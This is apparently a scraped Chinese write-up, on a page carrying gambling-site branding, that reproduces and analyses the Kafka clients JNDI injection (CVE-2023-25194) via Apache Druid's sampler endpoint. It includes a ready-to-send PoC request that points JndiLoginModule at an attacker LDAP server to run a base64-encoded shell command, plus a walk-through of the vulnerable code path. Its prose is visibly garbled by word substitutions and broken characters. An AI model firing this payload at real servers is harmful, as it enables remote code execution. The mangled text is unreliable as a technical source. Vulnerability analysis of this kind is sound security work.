尊龙凯时人生就是搏

提交需要
*
*

*
*
*
当即提交
点击”当即提交” ,批注我理解并赞成 《尊龙凯时人生就是搏科技隐衷条款》

logo

    产品与服务
    解决规划
    技术支持
    合作发展
    关于尊龙凯时人生就是搏

    申请试用
      Apache Kafka Clients JNDI注入缝隙 (CVE-2023-25194)复现及分析
      颁布功夫:2023-08-04 作者:第59号尝试室 阅读次数: 2902 次


      Apache Kafka是一个开源散布式新闻队列 ,Kafka clients是相对应的Java客户端。尤其是在大数据开发中(实时数据处置和分析)。为集成其他系统和解耦利用 ,时时使用Producer来发送新闻到Broker ,并使用Consumer来消费Broker中的新闻。Kafka Connect是到0.9版本才提供的并极大地简化了其他系统与Kafka的集成。Kafka Connect使用用户急剧界说并实现各类Connector(File,Jdbc,Hdfs等) ,这些职能让大批量数据导入/导出Kafka很方便。
      在版本3.3.2及以前 ,Apache Kafka clients中存在一处JNDI注入缝隙(CVE-2023-25194)。通过 Kafka Connect REST API 配置衔接器时, 经过身份验证的操作员能够将衔接器的任何Kafka客户端的“sasl.jaas.config”属性设置为“com.sun.security.auth.module.JndiLoginModule”, LoginModule允许接见用户指定的JNDI 服务提供商, 因而导致JNDI注入。进而导致JNDI注入缝隙 ,执行肆意号令。



      2.4.0<=Apache kafka<=3.2.2

      其他影响:

      0.19.0 <= Apache Druid <= 25.0.0


      本次缝隙环境使用了durid ,由于durid使用kafka-clients来衔接Kafka作为其数据源之一。

      指标靶机:


      尊龙凯时 - 人生就是搏!


      Jndi主机:

      通过JNDIExploit-master开启一个恶意jndi服务器。


      尊龙凯时 - 人生就是搏!
      尊龙凯时 - 人生就是搏!
      Poc:POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: 192.168.32.129:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1449 { "type":"kafka", "spec":{ "type":"kafka", "ioConfig":{ "type":"kafka", "consumerProperties":{ "bootstrap.servers":"127.0.0.1:6666", "sasl.mechanism":"SCRAM-SHA-256", "security.protocol":"SASL_SSL", "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.96.235:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" }, "topic":"test", "useEarliestOffset":true, "inputFormat":{ "type":"regex", "pattern":"([\\s\\S]*)", "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965", "columns":[ "raw" ] } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"!!!_no_such_column_!!!", "missingValue":"1970-01-01T00:00:00Z" }, "dimensionsSpec":{  }, "granularitySpec":{ "rollup":false } }, "tuningConfig":{ "type":"kafka" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 }}



      尊龙凯时 - 人生就是搏!


      攻击成效:

      docker exec -i -t [容器id] /bin/bash


      尊龙凯时 - 人生就是搏!
      尊龙凯时 - 人生就是搏!


      /tmp/success 存在证明缝隙利用成功


      由于缝隙复现基于durid的kafka组件 ,durid不支持仅支持unix、ios等系统 ,故缝隙分析使用windows直接搭建kafka进行分析。
      官网下载kafka 源码解压。
      启动zookeeper和server:(把稳目录不能有中文)


      bin\windows\zookeeper-server-start.bat config\zookeeper.properties
      bin\windows\kafka-server-start.bat config\server.properties


      定位分析该接口具体的代码


      @Path("/druid/indexer/v1/sampler")
      public class SamplerResource {
      @POST
      @Consumes({"application/json"})
      @Produces({"application/json"})
      @ResourceFilters({StateResourceFilter.class})
      public SamplerResponse post(SamplerSpec sampler) {
      return ((SamplerSpec)Preconditions.checkNotNull(sampler, "Request body cannot be empty")).sample();// 43
      }
      }


      定位代码发现KafkaSamplerSpec接口的sample步骤具体实此刻父类


      尊龙凯时 - 人生就是搏!


      sample具体的实现是在SeekableStreamSamplerSpec类中。在KafkaProducer的机关函数中,会基于properties初始化ProducerConfig的事俘config,在newSender(LogContext logContext, KafkaClient kafkaClient, ProducerMetadata metadata)中创建ChannelBuilder:


      尊龙凯时 - 人生就是搏!


      而后当security.protocol为SASL_PLAINTEXT或SASL_SSL并且指定了sasl.mechanism时基于config信息?成 JaasContext的事俘,而后?成 SaslChannelBuilder事俘:


      尊龙凯时 - 人生就是搏!


      在new JaasConfig(globalContextName, dynamicJaasConfig.value())中会把sasl.jaas.config中的 字符串解析成AppConfigurationEntry的事俘。而后调?channelBuilder.configure(configs)?法, 后?进入LoginManager.acquireLoginManager。

      而后进入JndiLoginModule的login?法:userProvider以及groupProvider都不为null, 并且设置了 useFirstPass=true或tryFirstPass=true时城市进入attemptAuthentication?法,在这?会调? InitialContext事俘的lookup(userProvider)?法,从?导致JNDI注入。

      综上, 只有攻击者能够节造kafka-clients衔接时的属性, 将属性的配置项security.protocol设置为SASL_PLAINTEXT 或SASL_SSL并且指定了sasl.mechanism、sasl.jaas.config值设置为 com.sun.security.auth.module.JndiLoginModule, 并且配置项中的userProvider以及groupProvider都不为null, 同 时设置了useFirstPass=true或tryFirstPass=true时, kafka client就会提议JNDI衔接, 从?导致JNDI注入缝隙。

      流程图如下:

      尊龙凯时 - 人生就是搏!


      尊龙凯时 - 人生就是搏! 免费试用
      尊龙凯时 - 人生就是搏! 服务热线
      尊龙凯时 - 人生就是搏!

      顿时征询

      400-811-3777

      尊龙凯时 - 人生就是搏! 回到顶部
      【网站地图】